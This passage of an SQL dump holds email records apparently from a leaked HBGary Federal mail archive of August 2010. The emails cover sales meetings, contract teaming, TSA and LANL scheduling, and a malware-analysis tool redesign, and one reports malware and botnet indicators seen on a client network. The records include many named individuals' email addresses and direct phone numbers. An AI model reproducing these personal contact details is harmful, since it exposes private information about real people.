<bob@hbgary.com>,rocco@hbgary.com','Fwd: Linda\'s availability to meet at GFIRST','We have a meeting with IBM Linda Betz at GFIRST Wednesday evening.   Alan Mitchell will be attending -- he lives in Austin.\r\n \r\nLinda Betz\r\nDirector of IT Policy and Information Security in the Office of the CIO.\r\n \r\nThe &quot;CISO team&quot; at IBM reports to Linda\r\n \r\nBackground\r\nGreg Hoglund is presenting to the CISO team in NY.  Dave Merrill is the organizer and responsible for endpoint malware detection.  Alan says they have several initiatives.  They all report to Linda and she is a keynote speaker at GFIRST.  \r\n\r\n \r\n---------- Forwarded message ----------From: Alan Mitchell &lt;amitch@us.ibm.com&gt;Date: Fri, Aug 6, 2010 at 7:20 AM\r\nSubject: Linda&#39;s availability to meet at GFIRSTTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Maria Lucas &lt;maria@hbgary.com&gt;Cc: Linda Betz &lt;lnbetz@us.ibm.com&gt;\r\n\r\n\r\nAaron/Maria: See Linda&#39;s availability below. Please feel free to reach out to Linda to coordinate meeting up at GFIRST. Thanks-AlanAlan, I have myself getting down to TX by lunchtime on Wednesday. If we want to organize a meeting with HBGary, we could do on Wednesday afternoon or dinner on Wednesday (if that will work) ok?? \r\nThanks,LindaLinda N. Betz PMP, CIPP, CISMDirector IT Policy and Information Security (CISO) - CIO Officeemail : lnbetz@us.ibm.comPhone : 914-766-3860 Tie-Line 826-3860\r\nAlan Mitchell, CISSP® #43156, IBM Senior Technical Staff Member,Chief Information Security Office-IBM CIONSA-IAM,ITIL,LCPIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS720.396.3244 TL 938.3244&quot;By all means let&#39;s be open-minded, but not so open-minded that our brains drop out&quot; -Richard Dawkins\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',8071,'aaron_hbgary_com/8071.html'),(9841,'2010-08-06','\"Burroughs, Lynda R\" <Lynda.Burroughs@ManTech.com>','/aaron@hbgary.com/new/1297007726.M435516P14101Q4696.eml','aaron@hbgary.com,aaron@hbgary.com','Re: TSA Opportunity','Aaron,\r\n\r\nThank you for the earlier voicemail. I\'m traveling today and about to board my flight. I\'ll give you a call Monday. \r\n\r\nWe missed you on the call yesterday. It went well and we\'re evaluating our options. Have a good weekend. \r\n\r\nLynda\r\n\r\nLynda Burroughs\r\n703-869-3155\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Burroughs, Lynda R\r\nCc: Fouche, Tim R; John Fanguy \r\nSent: Wed Aug 04 18:31:53 2010\r\nSubject: Re: TSA Opportunity\r\n\r\nLynda,\r\n\r\nIt was great talking with you.  Attached find the SOW.  If the time is ok I will send a meeting notice for 3:30pm tomorrow to discuss.  Also I have CC\'d John Fanguy from DMI who is leading the capture for this effort.\r\n\r\nAaron\r\n\r\n',14170,'aaron_hbgary_com/14170.html'),(9842,'2010-08-06','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','/aaron@hbgary.com/new/1297007726.M639486P14101Q4697.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','RE: services talk for customer','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n1pm ET (12pm CT)&#8230;is good for me\r\n\r\n&nbsp;\r\n\r\n-tr\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\nDirector, West Region\r\n\r\n214.505.3136 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, August 05, 2010 9:48 PM\r\nTo: Sullivan, Mary\r\nCc: Richardson, Toby\r\nSubject: Re: services talk for customer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nsounds good.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow about 1pm? or 3pm?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 4:56 PM, Sullivan, Mary wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwas just having a conversation with our west commercial rep, Toby Richardson\r\n(copied), regarding a commercial opportunity he&#8217;s been working. They love\r\nthe Fidelis platform but don&#8217;t really have an IR/forensic team of their\r\nown per se (although there was one guy at BH). Evidently, the CISO knows and\r\nadmires HB Gary, although I don&#8217;t know if they own any. That triggered\r\nthe thought that perhaps we could discuss an engagement where the customer buys\r\nour solution wrapped with &nbsp;a service from you, to help get some\r\n&#8220;intelligence&#8221; into their Fidelis system about the nature of the\r\nthreat.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan\r\nthe three of us hop on a call tomorrow and discuss this? I&#8217;m free anytime\r\nbut 2.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nMary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMary\r\nSullivan | Federal Sales Manager | Fidelis Security Systems, Inc.\r\nD 240-396-2446 | M 301-980-1308 |&nbsp;mary.sullivan@fidelissecurity.com&nbsp;|&nbsp;www.fidelissecurity.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSee It | Study It | Stop It with Fidelis XPS:&nbsp;&nbsp;http://www.youtube.com/fidsecsys.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4253,'aaron_hbgary_com/4253.html'),(9843,'2010-08-06','\"Anglin, Matthew\" <Matthew.Anglin@QinetiQ-NA.com>','/aaron@hbgary.com/new/1297007726.M864778P14101Q4698.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,','Pwback9 malware','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nRich,\r\n\r\nPwback wmdrtc32.dll &nbsp;for the Sality Virus &nbsp;has the public\r\naddress of 38.100.41.112.\r\n\r\n&nbsp;\r\n\r\nTerremark sent a spread sheet the other day with some\r\nfindings.&nbsp; Most likely normal business process but Pwback was noticed.\r\n\r\n&nbsp;\r\n\r\n10.20.1.200&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2010-Jul-23 01:00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 199.2.137.133&nbsp;&nbsp;&nbsp;&nbsp; These\r\ninternal hosts are making outbound request to known Waledac domains are\r\npossibly infected by the Waledac Worm. Analysis of these hosts for known botnet\r\nartifacts is suggested.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMatthew Anglin\r\n\r\nInformation Security Principal, Office of the CSO\r\n\r\nQinetiQ North America\r\n\r\n7918 Jones Branch Drive Suite 350\r\n\r\nMclean, VA 22102\r\n\r\n703-752-9569 office, 703-967-2862 cell\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10846,'aaron_hbgary_com/10846.html'),(9844,'2010-08-06','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297007727.M290182P14101Q4700.eml','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: services talk for customer','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s do it. I will send a mtg request with a bridge.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMary Sullivan\r\n\r\nD 240-396-2446\r\n\r\nM 301-980-1308\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Richardson, Toby \r\nSent: Friday, August 06, 2010 11:40 AM\r\nTo: Aaron Barr; Sullivan, Mary\r\nSubject: RE: services talk for customer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n1pm ET (12pm CT)&#8230;is good for me\r\n\r\n&nbsp;\r\n\r\n-tr\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\nDirector, West Region\r\n\r\n214.505.3136 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, August 05, 2010 9:48 PM\r\nTo: Sullivan, Mary\r\nCc: Richardson, Toby\r\nSubject: Re: services talk for customer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nsounds good.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow about 1pm? or 3pm?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 4:56 PM, Sullivan, Mary wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwas just having a conversation with our west commercial rep, Toby Richardson\r\n(copied), regarding a commercial opportunity he&#8217;s been working. They love the\r\nFidelis platform but don&#8217;t really have an IR/forensic team of their own per se\r\n(although there was one guy at BH). Evidently, the CISO knows and admires HB\r\nGary, although I don&#8217;t know if they own any. That triggered the thought that\r\nperhaps we could discuss an engagement where the customer buys our solution\r\nwrapped with &nbsp;a service from you, to help get some &#8220;intelligence&#8221; into\r\ntheir Fidelis system about the nature of the threat.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan\r\nthe three of us hop on a call tomorrow and discuss this? I&#8217;m free anytime but\r\n2.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nMary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMary\r\nSullivan | Federal Sales Manager | Fidelis Security Systems, Inc.\r\nD 240-396-2446 | M 301-980-1308 |&nbsp;mary.sullivan@fidelissecurity.com&nbsp;|&nbsp;www.fidelissecurity.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSee It | Study It | Stop It with Fidelis XPS:&nbsp;&nbsp;http://www.youtube.com/fidsecsys.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1021,'aaron_hbgary_com/1021.html'),(9845,'2010-08-06','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007727.M515116P14101Q4701.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: TMC','I started rewriting the tool as a Java application with an embeded MySQL database with Java agents on the client machines.  I was then going to replace VMWare with the opensource VirtualBox as it has an API and scripting and more documentation than I was able to find for VMWare.  \r\nThe design thought for this was then the end user could install the server on any OS, of course with requirements for storage for all of the malware, and deploy the agents to any OS and not be limited by the current architectural requirement for windows and utilize their entire network or even a beowulf cluster if they had one.  \r\nThis design also adds the additional benefits of easier backups, through the embedded database,  as well as improve security, as the database runs within the same Java sandbox as the application, and provide a command line interface to the database for export, through ij, and also the necessary APIs the govies are looking for to integrate with their current architecture through a standard Java implementation.\r\nOnce this is built I was going to embed an Apache server into the TMC server Java application and build out a web front end to provide a portal to all of the data as well as provide the ability to submit malware, receive reports, download ddna, etc.  By embedding the Apache server this also eliminates the need for the end user to do any server configuration on their side other than opening a port through a firewall and again makes backups less of a hassle.\r\nI was thinking rough time line of 3-4 weeks to get it to prototype.  I already have the Java Server application embedded with a MySQL server and started looking at the current TMC database structure for redesign into this new design.\r\nOn Fri, Aug 6, 2010 at 7:47 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSo let me get a vision of the new new TMC.\r\n\r\nEGS data.\r\nAbility to download DDNA and get information from shared AD.\r\nVolume malware processor.  Ability to submit malware and receive report.\r\n\r\nEventually Social data and Information Exposure.  Vulnerability information.\r\n\r\nAll of this accessible through a portal.\r\n\r\nThis would be an awesome capability.\r\n\r\nHow long to have it all working?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',8252,'aaron_hbgary_com/8252.html'),(9846,'2010-08-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007727.M72432P14101Q4699.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','NANA','Aaron,I just spoke with Bob.  This morning he gave a 2hr demo to SAIC / NANA contract and they &quot;loved&quot; our products.  He also mentioned that they are fully-staffed on REs and may have more $$$ in October.  Can you follow up with your contact in a day or two to solicit feedback and check on status of slots.\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',1204,'aaron_hbgary_com/1204.html'),(9847,'2010-08-06','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297007727.M780936P14101Q4702.eml','aaron@hbgary.com,\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','HB Gary services talk','\r\n\r\n\r\n\r\n\r\nHB Gary services talk\r\n\r\n\r\n\r\n\r\nWhen: Friday, August 06, 2010 1:00 PM-1:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 301-841-6585 0154536\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',7365,'aaron_hbgary_com/7365.html'),(9848,'2010-08-06','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297007727.M995507P14101Q4703.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,aaron@hbgary.com,jwootton@palantir.com,msteckman@palantir.com,rob.wilson@telos.com,robert.sanderson@telos.com,Suzanne.Petrie@TASC.COM,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,paul.meany@ngc.com','RE: TSA-ITSSS Content Docs and Data Call','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nQuestions are due today at\r\n5PM.&nbsp; We need your questions back to John and me by 2 PM so that\r\nleadership has a chance to review/vet them before we submit. Using the template\r\nprovided by John yesterday, please submit your questions to us not later than\r\n2PM.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\nKirby\r\n\r\n703-966-7887\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5383,'aaron_hbgary_com/5383.html'),(9849,'2010-08-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007728.M236529P14101Q4704.eml','\"Barr Aaron\" <aaron@hbgary.com>','RFP ITSSS','We may need to address this in Section L:\r\nConflict of Interest &quot;This situation will arise when the successful Offeror previously designed, developed, tested, or recommended IT systems (including hardware, software, firmware, and components thereof) that are now in use at TSA.\r\n-- Ted Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n',1545,'aaron_hbgary_com/1545.html'),(9850,'2010-08-06','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>','/aaron@hbgary.com/new/1297007729.M195935P14101Q4705.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: ManTech--HB Gary--Gatorbait Opportunity--TA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGood afternoon.&nbsp; Please see the attached executed Teaming\r\nAgreement.&nbsp; Let us know if you have any questions.\r\n\r\n&nbsp;\r\n\r\nThank you.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\nStephen Ott\r\n\r\nPrincipal Subcontracts Administrator\r\n\r\nManTech Mission, Cyber, Technology, and Solutions Group\r\n\r\n7799 Leesburg Pike, Ste 700 South\r\n\r\nFalls Church, VA 22043\r\n\r\n(P) 703-485-8010\r\n\r\n(F) 703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp;\r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 9:13 AM\r\nTo: Ott, Stephen D\r\nSubject: Re: ManTech--HB Gary--Gatorbait Opportunity--TA\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSteve,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease see attached.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Mon, Aug 2, 2010 at 4:49 PM, Ott, Stephen D &lt;Stephen.Ott@mantech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nAttached you will find our standard\r\nTeaming Agreement to clarify the teaming arrangement with ManTech on the\r\nGatorbait effort.&nbsp; Please review it, sign it, and return it back to\r\nme.&nbsp; A fully executed agreement will then be sent to you.&nbsp; If you\r\nbelieve changes need to be made, please let me know your suggested\r\nchanges.&nbsp; I can send you a word copy and you can turn on &#8220;track changes&#8221;\r\nto help speed the process.\r\n\r\n&nbsp;\r\n\r\nPlease email or call if you have any\r\nquestions.&nbsp; Thank you for your help.\r\n\r\n&nbsp;&nbsp; \r\n\r\nBest regards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephen Ott\r\n\r\nPrincipal Subcontracts\r\nAdministrator\r\n\r\nManTech Mission, Cyber, Technology, and Solutions Group\r\n\r\n7799 Leesburg Pike, Ste 700\r\nSouth\r\n\r\nFalls Church, VA 22043\r\n\r\n(P) 703-485-8010\r\n\r\n(F) 703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email\r\nand the contents of this email (including any attachments) are\r\ncompany-confidential and/or proprietary. Unless you are the addressee (or\r\nauthorized to receive for the addressee), you may not use, copy, disclose or\r\ndistribute this email or any of the contents of this email.&nbsp; If you\r\nreceived this email in error, please promptly notify the sender by reply email\r\nand delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ott,\r\nStephen D \r\nSent: Friday, July 09, 2010 1:12 PM\r\nTo: \'aaron@hbgary.com\'\r\nCc: Hull, Wayne A; Stewart, Brad\r\nSubject: RE: ManTech--HB Gary--Gatorbait Opportunity--NDA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGood afternoon.&nbsp; Thank you for sending back the NDA\r\nwith your signature.&nbsp; Please see the attached executed version.&nbsp; Let\r\nme know if you have any questions.\r\n\r\n&nbsp;\r\n\r\nThank you.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephen Ott\r\n\r\nPrincipal Subcontracts\r\nAdministrator\r\n\r\nManTech Mission, Cyber, Technology, and Solutions Group\r\n\r\n7799 Leesburg Pike, Ste 700\r\nSouth\r\n\r\nFalls Church, VA 22043\r\n\r\n(P) 703-485-8010\r\n\r\n(F) 703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email\r\nand the contents of this email (including any attachments) are\r\ncompany-confidential and/or proprietary. Unless you are the addressee (or\r\nauthorized to receive for the addressee), you may not use, copy, disclose or\r\ndistribute this email or any of the contents of this email.&nbsp; If you\r\nreceived this email in error, please promptly notify the sender by reply email\r\nand delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ott,\r\nStephen D \r\nSent: Thursday, July 08, 2010 3:39 PM\r\nTo: \'aaron@hbgary.com\'\r\nCc: Hull, Wayne A; Stewart, Brad\r\nSubject: ManTech--HB Gary--Gatorbait Opportunity--NDA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMr. Barr,\r\n\r\n&nbsp;\r\n\r\nGood afternoon.\r\n\r\n&nbsp; \r\n\r\nAttached you will find our standard\r\nNon-Disclosure Agreement to discuss teaming with ManTech on the Gatorbait\r\neffort.&nbsp; Please review it, sign it, and return it back to me.&nbsp; A\r\nfully executed agreement will then be sent to you.&nbsp; If you believe changes\r\nneed to be made, please let me know your suggested changes.&nbsp; I can send\r\nyou a word copy and you can turn on &#8220;track changes&#8221; to help speed the process.\r\n\r\n&nbsp;\r\n\r\nPlease email or call if you have any\r\nquestions.&nbsp; Thank you for your help.\r\n\r\n&nbsp;&nbsp; \r\n\r\nBest Regards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nStephen Ott\r\n\r\nPrincipal Subcontracts\r\nAdministrator\r\n\r\nManTech Mission, Cyber, Technology, and Solutions Group\r\n\r\n7799 Leesburg Pike, Ste 700\r\nSouth\r\n\r\nFalls Church, VA 22043\r\n\r\n(P) 703-485-8010\r\n\r\n(F) 703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email\r\nand the contents of this email (including any attachments) are\r\ncompany-confidential and/or proprietary. Unless you are the addressee (or\r\nauthorized to receive for the addressee), you may not use, copy, disclose or\r\ndistribute this email or any of the contents of this email.&nbsp; If you\r\nreceived this email in error, please promptly notify the sender by reply email\r\nand delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6729,'aaron_hbgary_com/6729.html'),(9851,'2010-08-06','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297007729.M413506P14101Q4706.eml','\"Aaron Barr\" <aaron@hbgary.com>','Availability?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI want to\r\nschedule a meeting for you and me with Dawn Meyerriecks, DDNI/Acquisition and\r\nTechnology, ASAP.&nbsp; Call me with your general calendar constraints and I&#8217;ll\r\nsee what I can do.&nbsp; Cassie is out so we&#8217;re both in a world of\r\nhurt.&nbsp; \r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8618,'aaron_hbgary_com/8618.html'),(9852,'2010-08-06','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297007729.M638133P14101Q4707.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ted Vera\" <ted@hbgary.com>','RE: LANL Delay','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLANL replied to this with &#8220;Actually we are think 8/23\r\nwould be better, so maybe that will work better for HBGary.&#8221;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, August 05, 2010 12:10 PM\r\nTo: Aaron Barr; Jerry McClure; Ira Entis\r\nCc: mark@hbgary.com\r\nSubject: Re: LANL Delay\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe week after would work, but we\'ll be at the G-First\r\nConference in San Antonio the week of Aug 15th.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Thu, Aug 5, 2010 at 8:02 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nWe can accommodate. &nbsp;As long as we have about a week or\r\nso heads up to make sure we can clear schedules for the activity.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 10:00 AM, Jerry McClure wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThere appears to be some delay with LANL as we work out the\r\nsecurity language risk.&nbsp; LANL asked if there was some flexibility in your\r\nschedule to push the start to August 15th&nbsp;or maybe even the\r\nweek after&nbsp; What do you say?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJerry\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14797,'aaron_hbgary_com/14797.html'),(9853,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007729.M828144P14101Q4708.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Availability?','Sent from my iPhoneBegin forwarded message:From: \"Conroy, Thomas W.\" &lt;Tom.Conroy@ngc.com&gt;Date: August 6, 2010 1:38:46 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: Availability?\r\n\r\n\r\n\r\nI want to\r\nschedule a meeting for you and me with Dawn Meyerriecks, DDNI/Acquisition and\r\nTechnology, ASAP.&nbsp; Call me with your general calendar constraints and I’ll\r\nsee what I can do.&nbsp; Cassie is out so we’re both in a world of\r\nhurt.&nbsp; \r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5649,'aaron_hbgary_com/5649.html'),(9854,'2010-08-06','\"Ted Vera\" 